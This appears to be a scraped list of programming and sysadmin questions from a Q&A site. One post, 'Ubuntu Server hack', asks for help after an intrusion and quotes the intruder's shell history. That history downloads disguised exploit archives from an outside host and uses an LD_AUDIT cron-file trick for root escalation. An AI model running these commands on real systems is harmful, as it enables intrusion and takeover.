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  • MongoDB in Go (golang) with mgo: How do I update a record, find out if update was successful and get the data in a single atomic operation?

    - by Sebastián Grignoli
    I am using mgo driver for MongoDB under Go. My application asks for a task (with just a record select in Mongo from a collection called "jobs") and then registers itself as an asignee to complete that task (an update to that same "job" record, setting itself as assignee). The program will be running on several machines, all talking to the same Mongo. When my program lists the available tasks and then picks one, other instances might have already obtained that assignment, and the current assignment would have failed. How can I get sure that the record I read and then update does or does not have a certain value (in this case, an assignee) at the time of being updated? I am trying to get one assignment, no matter wich one, so I think I should first select a pending task and try to assign it, keeping it just in the case the updating was successful. So, my query should be something like: "From all records on collection 'jobs', update just one that has asignee=null, setting my ID as the assignee. Then, give me that record so I could run the job." How could I express that with mgo driver for Go?

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  • tipfy for Google App Engine: Is it stable? Can auth/session components of tipfy be used with webapp?

    - by cv12
    I am building a web application on Google App Engine that requires users to register with the application and subsequently authenticate with it and maintain sessions. I don't want to force users to have Google accounts. Also, the target audience for the application is the average non-geek, so I'm not very keen on using OpenID or OAuth. I need something simple like: User registers with an e-mail and password, and then can log back in with those credentials. I understand that this approach does not provide the security benefits of Google or OpenID authentication, but I am prepared to trade foolproof security for end-user convenience and hassle-free experience. I explored Django, but decided that consecutive deprecations from appengine-helper to app-engine-patch to django-nonrel may signal that path may be a bit risky in the long-term. I'd like to use a code base that is likely to be maintained consistently. I also explored standalone session/auth packages like gaeutilities and suas. GAEUtilities looked a bit immature (e.g., the code wasn't pythonic in places, in my opinion) and SUAS did not give me a lot of comfort with the cookie-only sessions. I could be wrong with my assessment of these two, so I would appreciate input on those (or others that may serve my objective). Finally, I recently came across tipfy. It appears to be based on Werkzeug and Alex Martelli spoke highly of it here on stackoverflow. I have two primary questions related to tipfy: As a framework, is it as mature as webapp? Is it stable and likely to be maintained for some time? Since my primary interest is the auth/session components, can those components of the tipfy framework be used with webapp, independent of the broader tipfy framework? If yes, I would appreciate a few pointers to how I could go about doing that.

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  • MYSQL not running on Ubuntu OS - Error 2002.

    - by mgj
    Hi, I am a novice to mysql DB. I am trying to run the MYSQL Server on Ubuntu 10.04. Through Synaptic Package Manager I am have installed the mysql version: mysql-client-5.1 I wonder that how was the database password set for the mysql-client software that I installed through the above way.It would be nice if you could enlighten me on this. When I tried running this database, I encountered the error given below: mohnish@mohnish-laptop:/var/lib$ mysql ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) mohnish@mohnish-laptop:/var/lib$ I referred to a similar question posted by another user. I didn't find a solution through the proposed answers. For instance when I tried the solutions posted for the similar question I got the following: mohnish@mohnish-laptop:/var/lib$ service start mysqld start: unrecognized service mohnish@mohnish-laptop:/var/lib$ ps -u mysql ERROR: User name does not exist. ********* simple selection ********* ********* selection by list ********* -A all processes -C by command name -N negate selection -G by real group ID (supports names) -a all w/ tty except session leaders -U by real user ID (supports names) -d all except session leaders -g by session OR by effective group name -e all processes -p by process ID T all processes on this terminal -s processes in the sessions given a all w/ tty, including other users -t by tty g OBSOLETE -- DO NOT USE -u by effective user ID (supports names) r only running processes U processes for specified users x processes w/o controlling ttys t by tty *********** output format ********** *********** long options *********** -o,o user-defined -f full --Group --User --pid --cols --ppid -j,j job control s signal --group --user --sid --rows --info -O,O preloaded -o v virtual memory --cumulative --format --deselect -l,l long u user-oriented --sort --tty --forest --version -F extra full X registers --heading --no-heading --context ********* misc options ********* -V,V show version L list format codes f ASCII art forest -m,m,-L,-T,H threads S children in sum -y change -l format -M,Z security data c true command name -c scheduling class -w,w wide output n numeric WCHAN,UID -H process hierarchy mohnish@mohnish-laptop:/var/lib$ which mysql /usr/bin/mysql mohnish@mohnish-laptop:/var/lib$ mysql ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) I even tried referring to http://forums.mysql.com/read.php?11,27769,84713#msg-84713 but couldn't find anything useful. Please let me know how I could tackle this error. Thank you very much..

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  • Overriding HOMEDRIVE and HOMEPATH as a Windows 7 user

    - by MikeC
    My employer has an Active Directory group policy which sets my Windows 7 laptop HOMEDRIVE to "M:" (a mapped network drive) and my HOMEPATH to "\". Since I have read-only permissions for the root of that shared drive, I cannot create files or directories in my windows home directory. My attempts to work with the IT department have been unsuccessful. Is there a way for me to globally change these envars at boot or login time? I need for all applications to use alternate values (such as "C:" and "\Users\myname"). I have some installed utilities (like gvim and others) that store preference files in the user's home directory. IMPORTANT: Changing these envars under "System Properties Environment Variables" does not work. I have tried setting these as both User and System Variables (including a reboot). TypingSET HOMEin a DOS window clearly shows that my settings are ignored. Also, using "Start in" in a Windows shortcut will also not solve this, as I need things like Explorer context menu items (like "Edit with Vim") to operate correctly. I do have admin rights on this company laptop, but I am not a Win7 guru. Back in the day, a boot script would have solved this in a minute. Is it even possible today? Thanks.

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  • How do I model teams and gameplay in this scorekeeping application?

    - by Eric Hill
    I'm writing a scorekeeping application for card game that has a few possibly-interesting constraints. The application accepts user registrations for players, then lets them check-in to a particular game (modeled as Event). After the final player registers, the app should generate teams, singles or doubles, depending on the preference of the person running the game and some validations (can't do doubles if there's an odd number checked in). There are @event.teams.count rounds in the game. To sum up: An event consists of `@event.teams.count` rounds; Teams can have 1 or more players Events have n or n/2 teams (depending on whether it's singles or doubles) Users will be members of different teams at different events Currently I have a rat's nest of associations: class User < ActiveRecord::Base has_many :teams, :through => :players has_many :events, :through => :teams class Event < ActiveRecord::Base has_many :rounds has_many :teams has_many :players, :through => :teams class Player < ActiveRecord::Base belongs_to :user belongs_to :team end class Team < ActiveRecord::Base has_many :players belongs_to :event end class Round < ActiveRecord::Base belongs_to :event belongs_to :user end The sticky part is team generation. I have basically a "start game" button that should freeze the registrations and pair up teams either singly or doubly, and render to Round#new so that the first (and subsequent) matches can be scored. Currently I'm implementing this as a check on Round#new that calls Event#generate_teams and displays the view: # Event#generate_teams def generate_teams # User has_many :events, :through => :registrations # self.doubles is a boolean denoting 2 players per team registrations.in_groups_of(self.doubles ? 2 : 1, nil).each do |side| self.teams << Player.create(self,side) end end Which doesn't work. Should there maybe be a Game model that ties everything together rather than (my current method) defining the game as an abstraction via the relationships between Events, Users, and Rounds (and Teams and Players and etc.)? My head is swimming.

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  • How much effort do you have to put in to get gains from using SSE?

    - by John
    Case One Say you have a little class: class Point3D { private: float x,y,z; public: operator+=() ...etc }; Point3D &Point3D::operator+=(Point3D &other) { this->x += other.x; this->y += other.y; this->z += other.z; } A naive use of SSE would simply replace these function bodies with using a few intrinsics. But would we expect this to make much difference? MMX used to involve costly state cahnges IIRC, does SSE or are they just like other instructions? And even if there's no direct "use SSE" overhead, would moving the values into SSE registers and back out again really make it any faster? Case Two Instead, you're working with a less OO-based code base. Rather than an array/vector of Point3D objects, you simply have a big array of floats: float coordinateData[NUM_POINTS*3]; void add(int i,int j) //yes it's unsafe, no overlap check... example only { for (int x=0;x<3;++x) { coordinateData[i*3+x] += coordinateData[j*3+x]; } } What about use of SSE here? Any better? In conclusion Is trying to optimise single vector operations using SSE actually worthwhile, or is it really only valuable when doing bulk operations?

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  • Access User Meta Data on User Registration in Wordpress

    - by Shadi Almosri
    Hiya, I am attempting to carry out a few functions when a user registers on a wordpress site. I have created a module for this which carries out the following function: add_action( 'user_register', 'tml_new_user_registered' ); function tml_new_user_registered( $user_id ) { //wp_set_auth_cookie( $user_id, false, is_ssl() ); //wp_redirect( admin_url( 'profile.php' ) ); $user_info = get_userdata($user_id); $subscription_value = get_user_meta( $user_id, "subscribe_to_newsletter", TRUE); if($subscription_value == "Yes") { //include("Subscriber.Add.php"); } echo "<pre>: "; print_r($user_info); print_r($subscription_value); echo "</pre>"; exit; } But it seems that i am not able to access any user meta data as at the end of this stage none of it is stored. Any ideas how i execute a function once Wordpress has completed the whole registration process of adding meta data into the relevant tables too? I attempted to use this: add_filter('user_register ','tml_new_user_registered',99); But with no luck unfortunately. Thanks in advance!

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  • implement SIMD in C++

    - by Hristo
    I'm working on a bit of code and I'm trying to optimize it as much as possible, basically get it running under a certain time limit. The following makes the call... static affinity_partitioner ap; parallel_for(blocked_range<size_t>(0, T), LoopBody(score), ap); ... and the following is what is executed. void operator()(const blocked_range<size_t> &r) const { int temp; int i; int j; size_t k; size_t begin = r.begin(); size_t end = r.end(); for(k = begin; k != end; ++k) { // for each trainee temp = 0; for(i = 0; i < N; ++i) { // for each sample int trr = trRating[k][i]; int ei = E[i]; for(j = 0; j < ei; ++j) { // for each expert temp += delta(i, trr, exRating[j][i]); } } myscore[k] = temp; } } I'm using Intel's TBB to optimize this. But I've also been reading about SIMD and SSE2 and things along that nature. So my question is, how do I store the variables (i,j,k) in registers so that they can be accessed faster by the CPU? I think the answer has to do with implementing SSE2 or some variation of it, but I have no idea how to do that. Any ideas? Thanks, Hristo

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  • Ubuntu Server hack

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • Pass an Event as parameter

    - by dkson
    I have a class which bundles events and registers controls to easily register/unregister them, it's basically used this way: Private Sub MyFocusHandler(ByVal sender As Object, ...) ... End Sub ... Dim b1 = new MyTextBox() Dim b2 = new MyTextBox() .... 'Lot of Controls' Dim cr = new ControlRegistration() cr.RegisterControl(b1) cr.RegisterControl(b2) .... 'Register a lot of controls' cr.RegisterEvent("Focus",New EventHandler(AddressOf MyFocusHandler)) cr.RegisterEvent("Validate",New EventHandler(AddressOf MyValidateHandler)) So I don't have to add the handlers manually for each control. The ControlRegistration-Class will cycle through the list of registered controls and check if a control has a registered event and then attach the eventhandler, something like: ... For Each control in contols Dim ev_info As Reflection.EventInfo = _ control.GetType().GetEvent(.GetType().GetEvent(event_name)) If Not (ev_info Is Nothing) Then ev_info.AddEventHandler ... ... My problem is that i am identifying the event by a string Public Sub RegisterEvent(ByVal eventName As String, ByVal handler As [Delegate]) ... ... cr.RegisterEvent("Focus",New EventHandler(AddressOf MyFocusHandler)) I don't want to depend on the name of the event, since it is possibly that the name changes, and then things will break up. Is there a way I can do this like: Public Sub RegisterEvent(ByVal theEvent As ???, ByVal handler As [Delegate]) ... ... cr.RegisterEvent(IMyControl.MyEvent,New EventHandler(AddressOf MyEventHandler)) I hope it is clear what I want to archive. Anybody any ideas? Thanks

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  • Can I use my Ninject .NET project within Orchard CMS?

    - by Mattias Z
    I am creating a website using Orchard CMS and I have an external .NET project written with Ninject for dependency injection which I would like to use together with a module within Orchard CMS. I know that Orchard uses Autofac for dependency injection and this is causing me problems since I never worked with DI before. I have created a Autofac module UserModule which registers the source UserRegistrationSource and I configured Orchard to load the module like this: OrchardStarter.cs .... builder.RegisterModule(new UserModule()); .... UserModule.cs public class UserModule : Module { protected override void Load(ContainerBuilder builder) { builder.RegisterSource(new UserRegistrationSource()); base.Load(builder); } } UserRegistrationSource.cs public class UserRegistrationSource : IRegistrationSource { public bool IsAdapterForIndividualComponents { get { return false; } } public IEnumerable<IComponentRegistration> RegistrationsFor(Service service, Func<Service, IEnumerable<IComponentRegistration>> registrationAccessor) { var serviceWithType = service as IServiceWithType; if (serviceWithType == null) yield break; var serviceType = serviceWithType.ServiceType; if (!serviceType.IsInterface || !typeof(IUserServices).IsAssignableFrom(serviceType) || serviceType == typeof(IUserServices)) yield break; var registrationBuilder = ... yield return registrationBuilder.CreateRegistration(); } } But now I'm stuck... Should I somehow try to resolve the dependencies in UserRegistrationSource by getting the requested types from the Ninject container (kernel) with Autofac or is this the wrong approach? Or should the Ninject kernel do the resolves for Autofac for the external project?

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  • Setup proxy with Apache 2.4 on Mac 10.8

    - by Aptos
    I have 1 application (Java) that running on my local machine (localhost:9000). I want to setup Apache as a front end proxy thus I used following configuration in the httpd.conf: <Directory /> #Options FollowSymLinks Options Indexes FollowSymLinks Includes ExecCGI AllowOverride All Order deny,allow Allow from all </Directory> Listen 57173 LoadModule proxy_module modules/mod_proxy.so <VirtualHost *:9999> ProxyPreserveHost On ServerName project.play ProxyPass / http://127.0.0.1:9000/Login ProxyPassReverse / http://127.0.0.1:9000/Login LogLevel debug </VirtualHost> ServerName localhost:57173 I change my vim /private/etc/hosts to: ## # Host Database # # localhost is used to configure the loopback interface # when the system is booting. Do not change this entry. ## 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost fe80::1%lo0 localhost 127.0.0.1:9999 project.play and use dscacheutil -flushcache. The problem is that I can only access to localhost:57173, when I tried accessing http://project.play:9999, Chrome returns "Oops! Google Chrome could not find project.play:9999". Can somebody show me where I were wrong? Thank you very much P/S: When accessing localhost:9999 it returns The server made a boo boo.

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  • c++ callback syntax in a class

    - by Mr Bell
    I am trying to figure out the syntax to register a callback with this 3rd party software. I think it is probably a basic question, I just am not too familiar with c++. They have a method for registering a callback function so their code can call a function in my code when an event happens. They provided a working example that registers the callback from the main file, but I want to know how to do it when working inside a class Their method signature: smHTRegisterHeadPoseCallback(smEngineHandle engine_handle, void *user_data, smHTHeadPoseCallback callback_fun); Working example from the main file: void STDCALL receiveHeadPose(void *,smEngineHeadPoseData head_pose, smCameraVideoFrame video_frame) { ... } void main() { ... smHTRegisterHeadPoseCallback(engine_handle,0,receiveHeadPose) ... } But I want to use this from my class MyClass.h class FaceEngine { public: void STDCALL receiveFaceData(void *, smEngineFaceData face_data, smCameraVideoFrame video_frame); ... MyClass.cpp void FaceEngine::Start(void) { rc = smHTRegisterFaceDataCallback(hFaceAPIEngine,0,&FaceEngine::receiveFaceData); ... Results in this compiler error: Error 1 error C2664: 'smHTRegisterFaceDataCallback' : cannot convert parameter 3 from 'void (__stdcall FaceEngine::* )(void *,smEngineFaceData,smCameraVideoFrame)' to 'smHTFaceDataCallback' d:\stuff\programming\visual studio 2008\projects\tut02_vertices\faceengine.cpp 43 Beard If my question isn't clear please let me know how I can clarify.

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  • SIP UAS asks for OPTIONS

    - by TacB0sS
    Hey, I have UAC that registers to a UAS, after registration the UAS sends me an OPTIONS request, what should I answer it? only the audio media streams? Update I: Allow me to explain myself better... if I want to invite someone to a session I USE the INVITE method and negotiate the media then, for that specific session. But once I register to the server, and it asks me for OPTIONS, then what should I supply, everything my client supports? once I answer it would it deduce that every INVITE I would request from now on would use these medias? or would I need to supply new media with every request? Update II: Hi Wiz, I was in the process of building a negotiation system, so i tried it out and replied the UAS here is the sort dialog we had: OPTIONS sip:[email protected] SIP/2.0 Via: SIP/2.0/UDP xx.xx.xx.xx:5060;branch=z9hG4bK45b197cb;rport=5060;received=xx.xx.xx.xx From: "Unknown" <sip:[email protected]>;tag=as66cf26df To: <sip:[email protected]> Contact: <sip:[email protected]> Call-ID: [email protected] CSeq: 102 OPTIONS User-Agent: Freeswitch 1.2.3 Max-Forwards: 70 Date: Sat, 05 Jun 2010 12:06:43 GMT Allow: INVITE,ACK,CANCEL,OPTIONS,BYE,REFER,SUBSCRIBE,NOTIFY,INFO Supported: replaces Content-Length: 0 OPTIONS In Response To 102: SIP/2.0 200 OK Via: SIP/2.0/UDP xx.xx.xx.xx:5060;branch=z9hG4bK45b197cb;rport=5060;received=xx.xx.xx.xx From: "Unknown" <sip:[email protected]>;tag=as66cf26df To: <sip:[email protected]> CSeq: 102 OPTIONS Call-ID: [email protected] Allow: INVITE,CANCEL,ACK,BYE,OPTIONS Content-Type: application/sdp Content-Length: 248 v=0 o=310 4515233118481497946 4515233118481497946 IN IP4 10.0.0.1 s=- i=Nu-Art Software - TacB0sS VoIP information c=IN IP4 10.0.0.1 m=audio 40000 RTP/AVP 0 8 101 a=rtpmap:0 PCMU/8000 a=rtpmap:8 PCMA/8000 a=rtpmap:101 telephone-event/8000 This response caused the server to stop sending me the options request, does this means I can only use these parameters with the server now? or as you said, it does not matter? Thanks, Adam.

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  • How to determine values saved on the stack?

    - by Brian
    I'm doing some experimenting and would like to be able to see what is saved on the stack during a system call (the saved state of the user land process). According to http://lxr.linux.no/#linux+v2.6.30.1/arch/x86/kernel/entry_32.S it shows that the various values of registers are saved at those particular offsets to the stack pointer. Here is the code I have been trying to use to examine what is saved on the stack (this is in a custom system call I have created): asm("movl 0x1C(%esp), %ecx"); asm("movl %%ecx, %0" : "=r" (value)); where value is an unsigned long. As of right now, this value is not what is expected (it is showing a 0 is saved for the user value of ds). Am I correctly accessing the offset of the stack pointer? Another possibility might be could I use a debugger such as GDB to examine the stack contents while in the kernel? I don't have much extensive use with debugging and am not sure of how to debug code inside the kernel. Any help is much appreciated.

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  • StrcutureMap Wiring - Sanity Check Please

    - by Steve Ward
    Hi - Im new to IOC and StructureMap and have an n-level application and am looking at how to setup the wirings (ForRequestedType ...) and just want to check with people with more experience that this is the best way of doing it! I dont want my UI application object to reference my persistence layer directly so am not able to wire everything up in this UI project. I now have it working by defining a Registry class in each project which wires up the types in the project as needed. The layer above registers its types and also calls the assembly below and looks for registries so that all types are registered throught the hierrachy. E.g. I have UI, Service, Domain, and Persistence libraries. In my service layer the registry looks like Scan(x => { x.Assembly("MyPersistenceProject"); x.LookForRegistries(); }); ForRequestedType<IService>().TheDefault.Is.OfConcreteType<MyService>(); Is this a recommended way of doing this in a setup such as this? Are there better ways and what are the advantages / disadvantages of these approaches in this case?

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  • How do I display a view as if it's the front page via a module?

    - by Justin
    I have a simple view that feeds a home page. I have a custom module that registers some specific URLs in hook_menu that I pass into my module so I can pass them as arguments into the view. I can get the module to display the view all right, but it doesn't use the teaser/is_front view that outputs when I access the home page. I looked through the APIs but I can't seem to figure out how I can output the view via my module as if it's the front page, meaning $is_front is true and the teasers would appear. The reason I'm not passing in the arguments via the URL bar into the view itself is: My argument list is known and finite The argument order is mixed, meaning I will sometimes have /argument1, /argument1/argument2 or just /argument2. I only want to capture the first level URL as an argument for specific, known strings (e.g. I don't want to pass /admin into my view but I do want to pass in /los-angeles, which I register in the menu system via hook_menu in my module) Here are some examples to make this more clear: /admin - loads the admin page /user - loads the login page /boston - passes into the first argument of the view; shows in front/teaser mode / - shows view with no arguments /bread - passes into argument 2 of the view; shows in front/teaser mode /boston/bread - Passes into argument 1 and 2 of the view; shows in front/teaser mode Maybe I'm going about this the wrong way? Or perhaps there is a way to have a module load a view and somehow set front/teaser mode? Details: Drupal 6, PHP 5, MySQL 5, Views, CCK

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  • Centos iptables configuration for Wordpress and Gmail smtp

    - by Fabrizio
    Let me start off by saying that I'm a Centos newby, so all info, links and suggestions are very welcome! I recently set up a hosted server with Centos 6 and configured it as a webserver. The websites running on it are nothing special, just some low traffic projects. I tried to configure the server as default as possible, but I like it to be secure as well (no ftp, custom ssh port). Getting my Wordpress to run as desired, I'm running into some connection problems. 2 things are not working: installing plugins and updates through ssh2 (failed to connect to localhost:sshportnumber) sending emails from my site using the Gmail smtp (Failed to connect to server: Permission denied (13)) I have the feeling that these are both related to the iptables configuration, because I've tried everything else (I think). I tried opening up the firewall to accept traffic for ports 465 (gmail smtp) and ssh port (lets say this port is 8000), but both the issues remain. Ssh connections from the terminal are working fine though. After each change I tried implementing I restarted the iptables service. This is my iptables configuration (using vim): # Generated by iptables-save v1.4.7 on Sun Jun 1 13:20:20 2014 *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m tcp --dport 8000 -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -p tcp -m tcp --dport 465 -j ACCEPT -A INPUT -j REJECT --reject-with icmp-host-prohibited -A FORWARD -j REJECT --reject-with icmp-host-prohibited -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A OUTPUT -o lo -j ACCEPT -A OUTPUT -p tcp -m tcp --dport 8000 -j ACCEPT -A OUTPUT -p tcp -m tcp --dport 465 -j ACCEPT COMMIT # Completed on Sun Jun 1 13:20:20 2014 Are there any (obvious) issues with my iptables setup considering the above mentioned issues? Saying that the firewall is doing exactly nothing in this state is also an answer... And again, if you have any other suggestions for me to increase security (considering the basic things I do with this box), I would love hear it, also the obvious ones! Thanks!

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  • Multiple websites, Single sign-on design

    - by Yannis
    Hi all, I have a question. A client I have been doing some work recently has a range of websites with different login mechanisms. He is looking to slowly migrate to a single sign-on mechanism for his websites (all written in asp.net mvc). I am looking at my options here, so here is a list of requirements: 1) It has to be secure (duh) 2) It needs to support extra user properties over and above the usual name, address stuff (such as money or credits for a user) 3) It has to provide a centralized user management web console for his convenience (I understand that this will be a small project on top of whatever design solution I choose to go for) 4) It has to integrate with the existing websites without re-engineering the whole product (I understand that this depends on the current product implementation). 5) It has to deal with emailing the user when he registers (in order for him to activate his account) 6) It has to deal with activating the user when he clicks the activate me link in the email (I understand that 5 and 6 require some form of email templating system to support different emails per application) I was thinking of creating a library working together with forms authentication that exposes whatever methods are required (e.g. login, logout, activate, etc. and a small restful service to implement activation from email, registration processing etc. Taking into account that loads of things have been left out to make this question brief and to the point, does this sound like a good design? But this looks like a very common problem so arent there any existing projects that I could use? Thanks for reading.

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  • Coding Practices which enable the compiler/optimizer to make a faster program.

    - by EvilTeach
    Many years ago, C compilers were not particularly smart. As a workaround K&R invented the register keyword, to hint to the compiler, that maybe it would be a good idea to keep this variable in an internal register. They also made the tertiary operator to help generate better code. As time passed, the compilers matured. They became very smart in that their flow analysis allowing them to make better decisions about what values to hold in registers than you could possibly do. The register keyword became unimportant. FORTRAN can be faster than C for some sorts of operations, due to alias issues. In theory with careful coding, one can get around this restriction to enable the optimizer to generate faster code. What coding practices are available that may enable the compiler/optimizer to generate faster code? Identifying the platform and compiler you use, would be appreciated. Why does the technique seem to work? Sample code is encouraged. Here is a related question [Edit] This question is not about the overall process to profile, and optimize. Assume that the program has been written correctly, compiled with full optimization, tested and put into production. There may be constructs in your code that prohibit the optimizer from doing the best job that it can. What can you do to refactor that will remove these prohibitions, and allow the optimizer to generate even faster code? [Edit] Offset related link

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  • Why is this setting for Name-based Virtual Host settings not working?

    - by Kave
    I have two domains (siteA.com & SiteB.com) that point to the same webserver and I would like to show different web pages for each. The steps I have taken so far are: Copy the default site (siteA) to siteB 1) sudo cp /etc/apache2/sites-available/default /etc/apache2/sites-available/siteB 2) sudo vim /etc/apache2/sites-available/siteB <VirtualHost *:80> ServerAdmin [email protected] DocumentRoot /var/www/siteB <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /var/www/siteB> Options Indexes FollowSymLinks MultiViews AllowOverride FileInfo Indexes Order allow,deny allow from all </Directory> </VirtualHost *:80> Then I created under /var/www/siteB and created a sample index.html in there. However when I load my domain siteB.com I still get directed to /var/www/siteA. Why is that? Do I have to rename the /etc/apache2/sites-available/default to /etc/apache2/sites-available/siteA as well? UPDATE: Thanks to the answer below it seems I had forgotten next to enabling the site also another entry: <VirtualHost *:80> ServerAdmin [email protected] ServerName siteB.com ServerAlias www.siteB.com </VirtualHost *:80> in order to include all subdomains as well then do: <VirtualHost *:80> ServerAdmin [email protected] ServerName siteB.com ServerAlias *.siteB.com </VirtualHost *:80> Same goes for siteA.

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  • MySQL Not Turning On

    - by Shalin Shah
    I have an amazon ec2 instance running on the Amazon Linux AMI and its a micro instance. I wanted to install Django onto my server so I entered these commands wget http://www.mlsite.net/blog/wp-content/uploads/2008/11/go wget http://www.mlsite.net/blog/wp-content/uploads/2008/11/django.conf chmod 744 go ./go So after I was done, I ran sudo service httpd restart and sudo service mysqld restart and This is what came up for mysqld: Stopping mysqld: [ OK ] MySQL Daemon failed to start. Starting mysqld: [FAILED] So I deleted the django files /usr/local/python2.6.8/site-packages/django_registration.egg and I tried finding the error and I found out that in my /etc/my.cnf for the socket, it said socket=/var/lock/subsys/mysql.sock so I went to /var/lock/subsys/ and there was no mysql.sock. I tried creating one using vim but it still didn't work. Then I checked the error log and it said Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) So I am pretty much lost right now. I know it has something to do with mysql.sock If you might know a reason why this was caused could you please let me know? I have a wordpress site on my server, so i kind of need MySQL to work. Thanks!

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  • Fastest inline-assembly spinlock

    - by sigvardsen
    I'm writing a multithreaded application in c++, where performance is critical. I need to use a lot of locking while copying small structures between threads, for this I have chosen to use spinlocks. I have done some research and speed testing on this and I found that most implementations are roughly equally fast: Microsofts CRITICAL_SECTION, with SpinCount set to 1000, scores about 140 time units Implementing this algorithm with Microsofts InterlockedCompareExchange scores about 95 time units Ive also tried to use some inline assembly with __asm {} using something like this code and it scores about 70 time units, but I am not sure that a proper memory barrier has been created. Edit: The times given here are the time it takes for 2 threads to lock and unlock the spinlock 1,000,000 times. I know this isn't a lot of difference but as a spinlock is a heavily used object, one would think that programmers would have agreed on the fastest possible way to make a spinlock. Googling it leads to many different approaches however. I would think this aforementioned method would be the fastest if implemented using inline assembly and using the instruction CMPXCHG8B instead of comparing 32bit registers. Furthermore memory barriers must be taken into account, this could be done by LOCK CMPXHG8B (I think?), which guarantees "exclusive rights" to the shared memory between cores. At last [some suggests] that for busy waits should be accompanied by NOP:REP that would enable Hyper-threading processors to switch to another thread, but I am not sure whether this is true or not? From my performance-test of different spinlocks, it is seen that there is not much difference, but for purely academic purpose I would like to know which one is fastest. However as I have extremely limited experience in the assembly-language and with memory barriers, I would be happy if someone could write the assembly code for the last example I provided with LOCK CMPXCHG8B and proper memory barriers in the following template: __asm { spin_lock: ;locking code. spin_unlock: ;unlocking code. }

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  • How would I go about sharing variables in a C++ class with Lua?

    - by Nicholas Flynt
    I'm fairly new to Lua, I've been working on trying to implement Lua scripting for logic in a Game Engine I'm putting together. I've had no trouble so far getting Lua up and running through the engine, and I'm able to call Lua functions from C and C functions from Lua. The way the engine works now, each Object class contains a set of variables that the engine can quickly iterate over to draw or process for physics. While game objects all need to access and manipulate these variables in order for the Game Engine itself to see any changes, they are free to create their own variables, a Lua is exceedingly flexible about this so I don't forsee any issues. Anyway, currently the Game Engine side of things are sitting in C land, and I really want them to stay there for performance reasons. So in an ideal world, when spawning a new game object, I'd need to be able to give Lua read/write access to this standard set of variables as part of the Lua object's base class, which its game logic could then proceed to run wild with. So far, I'm keeping two separate tables of objects in place-- Lua spawns a new game object which adds itself to a numerically indexed global table of objects, and then proceeds to call a C++ function, which creates a new GameObject class and registers the Lua index (an int) with the class. So far so good, C++ functions can now see the Lua object and easily perform operations or call functions in Lua land using dostring. What I need to do now is take the C++ variables, part of the GameObject class, and expose them to Lua, and this is where google is failing me. I've encountered a very nice method here which details the process using tags, but I've read that this method is deprecated in favor of metatables. What is the ideal way to accomplish this? Is it worth the hassle of learning how to pass class definitions around using libBind or some equivalent method, or is there a simple way I can just register each variable (once, at spawn time) with the global lua object? What's the "current" best way to do this, as of Lua 5.1.4?

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  • What should be taught in a "Fundamentals of programming" course at university?

    - by Dervin Thunk
    I have started a new question (see here), because I think the topic is of importance in a more general form. The question is now: If you were a professor at a Computer Science Dept. in some university, what would make it into your course? This is a programming course, second term, first year computer science/computer engineering. Remember you have a limited amount of time, and students are of different levels of competence, and some may be scientists, but some will also go on to be programmers in companies of different kinds. You have to cater to all. Bonus: What language? (Although see this question for my current thoughts about this...) Maybe you want to attach a course outline from some university? See here for an even more general question about this. Answer: I can't really summarize this post... I guess it was too subjective. However, it looks like we have to cover the history of computing up to a certain extent, computer architecture (memory, registers, whatever), C, and finally some basic algos and data structures in a problem solving fashion. This will be the bare bones of the course. Thanks all. I will accept the most voted up answer to close the thread, as it should be done.

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